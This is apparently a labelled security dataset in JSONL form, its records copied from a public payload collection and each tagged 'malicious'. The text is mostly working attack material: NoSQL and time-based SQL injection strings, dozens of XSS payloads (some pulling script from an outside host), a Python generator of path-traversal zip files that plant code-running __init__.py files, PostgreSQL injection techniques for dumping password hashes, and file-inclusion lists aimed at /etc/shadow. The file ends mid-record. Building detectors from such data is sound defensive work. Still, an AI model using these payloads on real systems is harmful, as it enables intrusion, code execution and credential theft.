{"id": "payloads_00011", "source": "payloads_all_the_things", "source_license": "MIT", "text": "true, $where: '1 == 1'\n, $where: '1 == 1'\n$where: '1 == 1'\n', $where: '1 == 1'\n1, $where: '1 == 1'\n{ $ne: 1 }\n', $or: [ {}, { 'a':'a\n' } ], $comment:'successful MongoDB injection'\ndb.injection.insert({success:1});\ndb.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1\n|| 1==1\n' && this.password.match(/.*/)//+%00\n' && this.passwordzz.match(/.*/)//+%00\n'%20%26%26%20this.password.match(/.*/)//+%00\n'%20%26%26%20this.passwordzz.match(/.*/)//+%00\n{$gt: ''}\n[$ne]=1\n';return 'a'=='a' && ''=='\n\";return(true);var xyz='a\n0;return true", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "NoSQL injection payload from NoSQL Injection/MongoDB.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00012", "source": "payloads_all_the_things", "source_license": "MIT", "text": "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\n", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "critical", "explanation": "Malicious file upload payload from Upload Insecure Files/eicar.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00013", "source": "payloads_all_the_things", "source_license": "MIT", "text": "%3Cimg/src=%3Dx+onload=alert(2)%3D\n%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%48%69%22%29%3b%3c%2f%73%63%72%69%70%74%3e\n'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0000EB)%3C/script%3E \n48e71%3balert(1)//503466e3\n';confirm('XSS')//1491b2as\na29b1%3balert(888)//a62b7156d82\n<scr&#x9ipt>alert('XSS')</scr&#x9ipt>\n\"onmouseover%3dprompt(941634) \n%f6%22%20onmouseover%3dprompt(941634)%20\n\" onerror=alert()1 a=\"\nstyle=xss:expression(alert(1))\n<input type=text value=\u201cXSS\u201d>\n\tA\u201d autofocus onfocus=alert(\u201cXSS\u201d)//\n<input type=text value=\u201dA\u201d autofocus onfocus=alert(\u201cXSS\u201d)//\u201d>\t\n<a href=\"javascript:alert(1)\">ssss</a>\n+ADw-p+AD4-Welcome to UTF-7!+ADw-+AC8-p+AD4-\n+ADw-script+AD4-alert(+ACc-utf-7!+ACc-)+ADw-+AC8-script+AD4-\n+ADw-script+AD4-alert(+ACc-xss+ACc-)+ADw-+AC8-script+AD4-\n<%00script>alert(\u2018XSS\u2019)<%00/script>\n<%script>alert(\u2018XSS\u2019)<%/script>\n<%tag style=\u201dxss:expression(alert(\u2018XSS\u2019))\u201d>\n<%tag    onmouseover=\"(alert('XSS'))\"> is invalid. <%br />\n</b style=\"expr/**/ession(alert('vulnerable'))\">\n';alert(String.fromCharCode(88,83,83))//\\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>\n'';!--\"<XSS>=&{()}\n<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>\n<IMG SRC=\"javascript:alert('XSS');\">\n<IMG SRC=javascript:alert('XSS')>\n<IMG SRC=JaVaScRiPt:alert('XSS')>\n<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>\n<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">\n<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>\n<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>\n<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>\n<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>\n<IMG SRC=\"jav\tascript:alert('XSS');\">\n<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">\n<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">\n<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">\n<IMG SRC=\" &#14;  javascript:alert('XSS');\">\n<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>\n<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>\n<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>\n<<SCRIPT>alert(\"XSS\");//<</SCRIPT>\n<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>\n<SCRIPT SRC=//ha.ckers.org/.j>\n<iframe src=http://ha.ckers.org/scriptlet.html <\n<IMG SRC=\"javascript:alert('XSS')\"\n<SCRIPT>a=/XSS/\nalert(a.source)</SCRIPT>\n\\\";alert('XSS');//\n</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>\n<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">\n<BODY BACKGROUND=\"javascript:alert('XSS')\">\n<BODY ONLOAD=alert('XSS')>\n<IMG DYNSRC=\"javascript:alert('XSS')\">\n<IMG LOWSRC=\"javascript:alert('XSS')\">\n<BGSOUND SRC=\"javascript:alert('XSS');\">\n<BR SIZE=\"&{alert('XSS')}\">\n<LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>\n<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">\n<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">\n<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>\n<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">\n<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>\n<XSS STYLE=\"behavior: url(xss.htc);\">\n<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS\n<IMG SRC='vbscript:msgbox(\"XSS\")'>\n\u00bcscript\u00bealert(\u00a2XSS\u00a2)\u00bc/script\u00be\n<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">\n<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">\n<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">\n<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>\n<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>\n<TABLE BACKGROUND=\"javascript:alert('XSS')\">\n<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">\n<DI", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Cross-site scripting payload from XSS Injection/XSSDetection.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00014", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Generating \"evil\" zip file\n# Based on the work of Ajin Abraham\n# Vuln website : https://github.com/ajinabraham/bad_python_extract\n# More info : https://ajinabraham.com/blog/exploiting-insecure-file-extraction-in-python-for-code-execution\n\n# Warning 1: need a restart from the server OR debug=True\n# Warning 2: you won't get the output of the command (blind rce)\nimport zipfile\n\ndirectories = [\"conf\", \"config\", \"settings\", \"utils\", \"urls\", \"view\", \"tests\", \"scripts\", \"controllers\", \"modules\", \"models\", \"admin\", \"login\"]\nfor d in directories:\n    name = \"python-\"+d+\"-__init__.py.zip\"\n    zipf = zipfile.ZipFile(name, 'w', zipfile.ZIP_DEFLATED)\n    zipf.close()\n    z_info = zipfile.ZipInfo(r\"../\"+d+\"/__init__.py\")\n    z_file = zipfile.ZipFile(name, mode=\"w\") # \"/home/swissky/Bureau/\"+\n    z_file.writestr(z_info, \"import os;print 'Shell';os.system('ls');\")\n    z_info.external_attr = 0o777 << 16\n    z_file.close()\n", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "critical", "explanation": "Malicious file upload payload from Upload Insecure Files/python-generate-init.py. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00015", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# from wapiti\nsleep(5)#\n1 or sleep(5)#\n\" or sleep(5)#\n' or sleep(5)#\n\" or sleep(5)=\"\n' or sleep(5)='\n1) or sleep(5)#\n\") or sleep(5)=\"\n') or sleep(5)='\n1)) or sleep(5)#\n\")) or sleep(5)=\"\n')) or sleep(5)='\n;waitfor delay '0:0:5'--\n);waitfor delay '0:0:5'--\n';waitfor delay '0:0:5'--\n\";waitfor delay '0:0:5'--\n');waitfor delay '0:0:5'--\n\");waitfor delay '0:0:5'--\n));waitfor delay '0:0:5'--\n'));waitfor delay '0:0:5'--\n\"));waitfor delay '0:0:5'--\nbenchmark(10000000,MD5(1))#\n1 or benchmark(10000000,MD5(1))#\n\" or benchmark(10000000,MD5(1))#\n' or benchmark(10000000,MD5(1))#\n1) or benchmark(10000000,MD5(1))#\n\") or benchmark(10000000,MD5(1))#\n') or benchmark(10000000,MD5(1))#\n1)) or benchmark(10000000,MD5(1))#\n\")) or benchmark(10000000,MD5(1))#\n')) or benchmark(10000000,MD5(1))#\npg_sleep(5)--\n1 or pg_sleep(5)--\n\" or pg_sleep(5)--\n' or pg_sleep(5)--\n1) or pg_sleep(5)--\n\") or pg_sleep(5)--\n') or pg_sleep(5)--\n1)) or pg_sleep(5)--\n\")) or pg_sleep(5)--\n')) or pg_sleep(5)--\n||pg_sleep(5)--\n1||pg_sleep(5)--\n\"||pg_sleep(5)--\n'||pg_sleep(5)--\n1)||pg_sleep(5)--\n\")||pg_sleep(5)--\n')||pg_sleep(5)--\n1))||pg_sleep(5)--\n\"))||pg_sleep(5)--\n'))||pg_sleep(5)--\nAND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe\nAND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'='\nAND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)\nAND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)--\nAND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)#\nSLEEP(5)#\nSLEEP(5)--\nSLEEP(5)=\"\nSLEEP(5)='\nor SLEEP(5)\nor SLEEP(5)#\nor SLEEP(5)--\nor SLEEP(5)=\"\nor SLEEP(5)='\nwaitfor delay '00:00:05'\nwaitfor delay '00:00:05'--\nwaitfor delay '00:00:05'#\nbenchmark(50000000,MD5(1))\nbenchmark(50000000,MD5(1))--\nbenchmark(50000000,MD5(1))#\nor benchmark(50000000,MD5(1))\nor benchmark(50000000,MD5(1))--\nor benchmark(50000000,MD5(1))#\npg_SLEEP(5)\npg_SLEEP(5)--\npg_SLEEP(5)#\nor pg_SLEEP(5)\nor pg_SLEEP(5)--\nor pg_SLEEP(5)#\n'\\\"\nAnD SLEEP(5)\nAnD SLEEP(5)--\nAnD SLEEP(5)#\n&&SLEEP(5)\n&&SLEEP(5)--\n&&SLEEP(5)#\n' AnD SLEEP(5) ANd '1\n'&&SLEEP(5)&&'1\nORDER BY SLEEP(5)\nORDER BY SLEEP(5)--\nORDER BY SLEEP(5)#\n(SELECT * FROM (SELECT(SLEEP(5)))ecMj)\n(SELECT * FROM (SELECT(SLEEP(5)))ecMj)#\n(SELECT * FROM (SELECT(SLEEP(5)))ecMj)--\n+benchmark(3200,SHA1(1))+'\n+ SLEEP(10) + '\nRANDOMBLOB(500000000/2)\nAND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))\nOR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))\nRANDOMBLOB(1000000000/2)\nAND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))\nOR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))\nSLEEP(1)/*' or SLEEP(1) or '\" or SLEEP(1) or \"*/\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "SQL injection payload from SQL Injection/Generic_TimeBased.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00016", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# SAML Injection\n\n> SAML (Security Assertion Markup Language) is an open standard for exchanging authentication and authorization data between parties, in particular, between an identity provider and a service provider. While SAML is widely used to facilitate single sign-on (SSO) and other federated authentication scenarios, improper implementation or misconfiguration can expose systems to various vulnerabilities.\n\n## Summary\n\n* [Tools](#tools)\n* [Methodology](#methodology)\n    * [Invalid Signature](#invalid-signature)\n    * [Signature Stripping](#signature-stripping)\n    * [XML Signature Wrapping Attacks](#xml-signature-wrapping-attacks)\n    * [XML Comment Handling](#xml-comment-handling)\n    * [XML External Entity](#xml-external-entity)\n    * [Extensible Stylesheet Language Transformation](#extensible-stylesheet-language-transformation)\n* [References](#references)\n\n## Tools\n\n* [CompassSecurity/SAMLRaider](https://github.com/SAMLRaider/SAMLRaider) - SAML2 Burp Extension.\n* [d0ge/XSW](https://github.com/d0ge/XSW) - XML Signature Wrapping Burp Suite Extensions.\n* [ZAP Addon/SAML Support](https://www.zaproxy.org/docs/desktop/addons/saml-support/) - Allows to detect, show, edit, and fuzz SAML requests.\n\n## Methodology\n\nA SAML Response should contain the `<samlp:Response xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\"`.\n\n### Invalid Signature\n\nSignatures which are not signed by a real CA are prone to cloning. Ensure the signature is signed by a real CA. If the certificate is self-signed, you may be able to clone the certificate or create your own self-signed certificate to replace it.\n\n### Signature Stripping\n\n> [...]accepting unsigned SAML assertions is accepting a username without checking the password - @ilektrojohn\n\nThe goal is to forge a well formed SAML Assertion without signing it. For some default configurations if the signature section is omitted from a SAML response, then no signature verification is performed.\n\nExample of SAML assertion where `NameID=admin` without signature.\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<saml2p:Response xmlns:saml2p=\"urn:oasis:names:tc:SAML:2.0:protocol\" Destination=\"http://localhost:7001/saml2/sp/acs/post\" ID=\"id39453084082248801717742013\" IssueInstant=\"2018-04-22T10:28:53.593Z\" Version=\"2.0\">\n    <saml2:Issuer xmlns:saml2=\"urn:oasis:names:tc:SAML:2.0:assertion\" Format=\"urn:oasis:names:tc:SAML:2.0:nameidformat:entity\">REDACTED</saml2:Issuer>\n    <saml2p:Status xmlns:saml2p=\"urn:oasis:names:tc:SAML:2.0:protocol\">\n        <saml2p:StatusCode Value=\"urn:oasis:names:tc:SAML:2.0:status:Success\" />\n    </saml2p:Status>\n    <saml2:Assertion xmlns:saml2=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"id3945308408248426654986295\" IssueInstant=\"2018-04-22T10:28:53.593Z\" Version=\"2.0\">\n        <saml2:Issuer Format=\"urn:oasis:names:tc:SAML:2.0:nameid-format:entity\" xmlns:saml2=\"urn:oasis:names:tc:SAML:2.0:assertion\">REDACTED</saml2:Issuer>\n        <saml2:Subject xmlns:saml2=\"urn:oasis:names:tc:SAML:2.0:assertion\">\n            <saml2:NameID Format=\"urn:oasis:names:tc:SAML:1.1:nameidformat:unspecified\">admin</saml2:NameID>\n            <saml2:SubjectConfirmation Method=\"urn:oasis:names:tc:SAML:2.0:cm:bearer\">\n                <saml2:SubjectConfirmationData NotOnOrAfter=\"2018-04-22T10:33:53.593Z\" Recipient=\"http://localhost:7001/saml2/sp/acs/post\" />\n            </saml2:SubjectConfirmation>\n        </saml2:Subject>\n        <saml2:Conditions NotBefore=\"2018-04-22T10:23:53.593Z\" NotOnOrAfter=\"2018-0422T10:33:53.593Z\" xmlns:saml2=\"urn:oasis:names:tc:SAML:2.0:assertion\">\n            <saml2:AudienceRestriction>\n                <saml2:Audience>WLS_SP</saml2:Audience>\n            </saml2:AudienceRestriction>\n        </saml2:Conditions>\n        <saml2:AuthnStatement AuthnInstant=\"2018-04-22T10:28:49.876Z\" SessionIndex=\"id1524392933593.694282512\" xmlns:saml2=\"urn:oasis:names:tc:SAML:2.0:assertion\">\n            <saml2:AuthnContext>\n                <saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classe", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "SAML injection payload from SAML Injection/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00017", "source": "payloads_all_the_things", "source_license": "MIT", "text": "c\ncn\nco\ncommonName\ndc\nfacsimileTelephoneNumber\ngivenName\ngn\nhomePhone\nid\njpegPhoto\nl\nmail\nmobile\nname\no\nobjectClass\nou\nowner\npager\npassword\nsn\nst\nsurname\nuid\nusername\nuserPassword\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "LDAP injection payload from LDAP Injection/LDAP_attributes.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00018", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Directory Traversal\n\n> Path Traversal, also known as Directory Traversal, is a type of security vulnerability that occurs when an attacker manipulates variables that reference files with \u201cdot-dot-slash (../)\u201d sequences or similar constructs. This can allow the attacker to access arbitrary files and directories stored on the file system.\n\n## Summary\n\n* [Tools](#tools)\n* [Methodology](#methodology)\n    * [URL Encoding](#url-encoding)\n    * [Double URL Encoding](#double-url-encoding)\n    * [Unicode Encoding](#unicode-encoding)\n    * [Overlong UTF-8 Unicode Encoding](#overlong-utf-8-unicode-encoding)\n    * [Mangled Path](#mangled-path)\n    * [NULL Bytes](#null-bytes)\n    * [Reverse Proxy URL Implementation](#reverse-proxy-url-implementation)\n* [Exploit](#exploit)\n    * [UNC Share](#unc-share)\n    * [ASPNET Cookieless](#asp-net-cookieless)\n    * [IIS Short Name](#iis-short-name)\n    * [Java URL Protocol](#java-url-protocol)\n* [Path Traversal](#path-traversal)\n    * [Linux Files](#linux-files)\n    * [Windows Files](#windows-files)\n* [Labs](#labs)\n* [References](#references)\n\n## Tools\n\n* [wireghoul/dotdotpwn](https://github.com/wireghoul/dotdotpwn) - The Directory Traversal Fuzzer\n\n    ```powershell\n    perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b\n    ```\n\n## Methodology\n\nWe can use the `..` characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter.\n\n```powershell\n../\n..\\\n..\\/\n%2e%2e%2f\n%252e%252e%252f\n%c0%ae%c0%ae%c0%af\n%uff0e%uff0e%u2215\n%uff0e%uff0e%u2216\n```\n\n### URL Encoding\n\n| Character | Encoded |\n| --- | -------- |\n| `.` | `%2e` |\n| `/` | `%2f` |\n| `\\` | `%5c` |\n\n**Example:** IPConfigure Orchid Core VMS 2.0.5 - Local File Inclusion\n\n```ps1\n{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd\n```\n\n### Double URL Encoding\n\nDouble URL encoding is the process of applying URL encoding twice to a string. In URL encoding, special characters are replaced with a % followed by their hexadecimal ASCII value. Double encoding repeats this process on the already encoded string.\n\n| Character | Encoded |\n| --- | -------- |\n| `.` | `%252e` |\n| `/` | `%252f` |\n| `\\` | `%255c` |\n\n**Example:** Spring MVC Directory Traversal Vulnerability (CVE-2018-1271)\n\n```ps1\n{{BaseURL}}/static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini\n{{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini\n```\n\n### Unicode Encoding\n\n| Character | Encoded |\n| --- | -------- |\n| `.` | `%u002e` |\n| `/` | `%u2215` |\n| `\\` | `%u2216` |\n\n**Example**: Openfire Administration Console - Authentication Bypass (CVE-2023-32315)\n\n```js\n{{BaseURL}}/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp\n```\n\n### Overlong UTF-8 Unicode Encoding\n\nThe UTF-8 standard mandates that each codepoint is encoded using the minimum number of bytes necessary to represent its significant bits. Any encoding that uses more bytes than required is referred to as \"overlong\" and is considered invalid under the UTF-8 specification. This rule ensures a one-to-one mapping between codepoints and their valid encodings, guaranteeing that each codepoint has a single, unique representation.\n\n| Character | Encoded |\n| --- | -------- |\n| `.` | `%c0%2e`, `%e0%40%ae`, `%c0%ae` |\n| `/` | `%c0%af`, `%e0%80%af`, `%c0%2f` |\n| `\\` | `%c0%5c`, `%c0%80%5c` |\n\n### Mangled Path\n\nSometimes you encounter a WAF which remove the `../` characters from the strings, just duplicate them.\n\n```powershell\n..././\n...\\.\\\n```\n\n**Example:**: Mirasys DVMS Workstation <=5.12.6\n\n```ps1\n{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini\n```\n\n### NULL Bytes\n\nA null byte (`%00`), also known as a null character, is a special control character (0x00) in many programming languages and systems. It is often used as a string terminator in languages like C and C++. In directory traversa", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Directory traversal payload from Directory Traversal/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00019", "source": "payloads_all_the_things", "source_license": "MIT", "text": "#getURL,javascript:alert(1)\",\n#goto,javascript:alert(1)\",\t\n?javascript:alert(1)\",\n?alert(1)\",\n?getURL(javascript:alert(1))\",\n?asfunction:getURL,javascript:alert(1)//\",\n?getURL,javascript:alert(1)\",\n?goto,javascript:alert(1)\",\t\t\n?clickTAG=javascript:alert(1)\",\n?url=javascript:alert(1)\",\n?clickTAG=javascript:alert(1)&TargetAS=\",\n?TargetAS=javascript:alert(1)\",\n?skinName=asfunction:getURL,javascript:alert(1)//\",\n?baseurl=asfunction:getURL,javascript:alert(1)//\",\n?base=javascript:alert(0)\",                \n?onend=javascript:alert(1)//\",\n?userDefined=');function someFunction(a){}alert(1)//\",        \n?URI=javascript:alert(1)\",\n?callback=javascript:alert(1)\",\n?getURLValue=javascript:alert(1)\",\n?goto=javascript:alert(1)\",\n?pg=javascript:alert(1)\",\n?page=javascript:alert(1)\"\n?playerready=alert(document.cookie)\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Cross-site scripting payload from XSS Injection/xss_swf_fuzz.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00020", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# PostgreSQL Injection\n\n> PostgreSQL SQL injection refers to a type of security vulnerability where attackers exploit improperly sanitized user input to execute unauthorized SQL commands within a PostgreSQL database.\n\n## Summary\n\n* [PostgreSQL Comments](#postgresql-comments)\n* [PostgreSQL Enumeration](#postgresql-enumeration)\n* [PostgreSQL Methodology](#postgresql-methodology)\n* [PostgreSQL Error Based](#postgresql-error-based)\n    * [PostgreSQL XML Helpers](#postgresql-xml-helpers)\n* [PostgreSQL Blind](#postgresql-blind)\n    * [PostgreSQL Blind With Substring Equivalent](#postgresql-blind-with-substring-equivalent)\n* [PostgreSQL Time Based](#postgresql-time-based)\n* [PostgreSQL Out of Band](#postgresql-out-of-band)\n* [PostgreSQL Stacked Query](#postgresql-stacked-query)\n* [PostgreSQL File Manipulation](#postgresql-file-manipulation)\n    * [PostgreSQL File Read](#postgresql-file-read)\n    * [PostgreSQL File Write](#postgresql-file-write)\n* [PostgreSQL Command Execution](#postgresql-command-execution)\n    * [Using COPY TO/FROM PROGRAM](#using-copy-tofrom-program)\n    * [Using libc.so.6](#using-libcso6)\n* [PostgreSQL WAF Bypass](#postgresql-waf-bypass)\n    * [Alternative to Quotes](#alternative-to-quotes)\n* [PostgreSQL Privileges](#postgresql-privileges)\n    * [PostgreSQL List Privileges](#postgresql-list-privileges)\n    * [PostgreSQL Superuser Role](#postgresql-superuser-role)\n* [References](#references)\n\n## PostgreSQL Comments\n\n| Type                | Comment |\n| ------------------- | ------- |\n| Single-Line Comment | `--`    |\n| Multi-Line Comment  | `/**/`  |\n\n## PostgreSQL Enumeration\n\n| Description            | SQL Query                               |\n| ---------------------- | --------------------------------------- |\n| DBMS version           | `SELECT version()`                      |\n| Database Name          | `SELECT CURRENT_DATABASE()`             |\n| Database Schema        | `SELECT CURRENT_SCHEMA()`               |\n| List PostgreSQL Users  | `SELECT usename FROM pg_user`           |\n| List Password Hashes   | `SELECT usename, passwd FROM pg_shadow` |\n| List DB Administrators | `SELECT usename FROM pg_user WHERE usesuper IS TRUE` |\n| Current User           | `SELECT user;`                          |\n| Current User           | `SELECT current_user;`                  |\n| Current User           | `SELECT session_user;`                  |\n| Current User           | `SELECT usename FROM pg_user;`          |\n| Current User           | `SELECT getpgusername();`               |\n\n## PostgreSQL Methodology\n\n| Description            | SQL Query                                    |\n| ---------------------- | -------------------------------------------- |\n| List Schemas           | `SELECT DISTINCT(schemaname) FROM pg_tables` |\n| List Databases         | `SELECT datname FROM pg_database`            |\n| List Tables            | `SELECT table_name FROM information_schema.tables` |\n| List Tables            | `SELECT table_name FROM information_schema.tables WHERE table_schema='<SCHEMA_NAME>'` |\n| List Tables            | `SELECT tablename FROM pg_tables WHERE schemaname = '<SCHEMA_NAME>'` |\n| List Columns           | `SELECT column_name FROM information_schema.columns WHERE table_name='data_table'` |\n\n## PostgreSQL Error Based\n\n| Name         | Payload         |\n| ------------ | --------------- |\n| CAST | `AND 1337=CAST('~'\\|\\|(SELECT version())::text\\|\\|'~' AS NUMERIC) -- -` |\n| CAST | `AND (CAST('~'\\|\\|(SELECT version())::text\\|\\|'~' AS NUMERIC)) -- -` |\n| CAST | `AND CAST((SELECT version()) AS INT)=1337 -- -` |\n| CAST | `AND (SELECT version())::int=1 -- -` |\n\n```sql\nCAST(chr(126)||VERSION()||chr(126) AS NUMERIC)\nCAST(chr(126)||(SELECT table_name FROM information_schema.tables LIMIT 1 offset data_offset)||chr(126) AS NUMERIC)--\nCAST(chr(126)||(SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset)||chr(126) AS NUMERIC)--\nCAST(chr(126)||(SELECT data_column FROM data_table LIMIT", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "SQL injection payload from SQL Injection/PostgreSQL Injection.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00021", "source": "payloads_all_the_things", "source_license": "MIT", "text": "/etc/passwd%00\n/etc/passwd%00\n/etc/shadow%00\n/etc/group%00\n/etc/security/group%00\n/etc/security/passwd%00\n/etc/security/user%00\n/etc/security/environ%00\n/etc/security/limits%00\n/usr/lib/security/mkuser.default%00\n/apache/logs/access.log%00\n/apache/logs/error.log%00\n/apache/logs/access.log%00\n/apache/logs/error.log%00\n/apache/logs/access.log%00\n/etc/httpd/logs/acces_log%00\n/etc/httpd/logs/acces.log%00\n/etc/httpd/logs/error_log%00\n/etc/httpd/logs/error.log%00\n/var/www/logs/access_log%00\n/var/www/logs/access.log%00\n/usr/local/apache/logs/access_ log%00\n/usr/local/apache/logs/access. log%00\n/var/log/apache/access_log%00\n/var/log/apache2/access_log%00\n/var/log/apache/access.log%00\n/var/log/apache2/access.log%00\n/var/log/access_log%00\n/var/log/access.log%00\n/var/www/logs/error_log%00\n/var/www/logs/error.log%00\n/usr/local/apache/logs/error_log%00\n/usr/local/apache/logs/error.log%00\n/var/log/apache/error_log%00\n/var/log/apache2/error_log%00\n/var/log/apache/error.log%00\n/var/log/apache2/error.log%00\n/var/log/error_log%00\n/var/log/error.log%00\n/var/log/httpd/access_log%00\n/var/log/httpd/error_log%00\n/var/log/httpd/access_log%00\n/var/log/httpd/error_log%00\n/var/log/nginx/access_log%00\n/var/log/nginx/access.log%00\n/var/log/nginx/error_log%00\n/var/log/nginx/error.log%00\n/apache/logs/error.log%00\n/apache/logs/access.log%00\n/apache/logs/error.log%00\n/apache/logs/access.log%00\n/apache/logs/error.log%00\n/apache/logs/access.log%00\n/apache/logs/error.log%00\n/apache/logs/access.log%00\n/apache/logs/error.log%00\n/apache/logs/access.log%00\n/apache2/logs/error.log%00\n/apache2/logs/access.log%00\n/apache2/logs/error.log%00\n/apache2/logs/access.log%00\n/apache2/logs/error.log%00\n/apache2/logs/access.log%00\n/apache2/logs/error.log%00\n/apache2/logs/access.log%00\n/apache2/logs/error.log%00\n/apache2/logs/access.log%00\n/logs/error.log%00\n/logs/access.log%00\n/logs/error.log%00\n/logs/access.log%00\n/logs/error.log%00\n/logs/access.log%00\n/logs/error.log%00\n/logs/access.log%00\n/logs/error.log%00\n/logs/access.log%00\n/etc/httpd/logs/acces_log%00\n/etc/httpd/logs/acces.log%00\n/etc/httpd/logs/error_log%00\n/etc/httpd/logs/error.log%00\n/usr/local/apache/logs/access_log%00\n/usr/local/apache/logs/access.log%00\n/usr/local/apache/logs/error_log%00\n/usr/local/apache/logs/error.log%00\n/usr/local/apache2/logs/access_log%00\n/usr/local/apache2/logs/access.log%00\n/usr/local/apache2/logs/error_log%00\n/usr/local/apach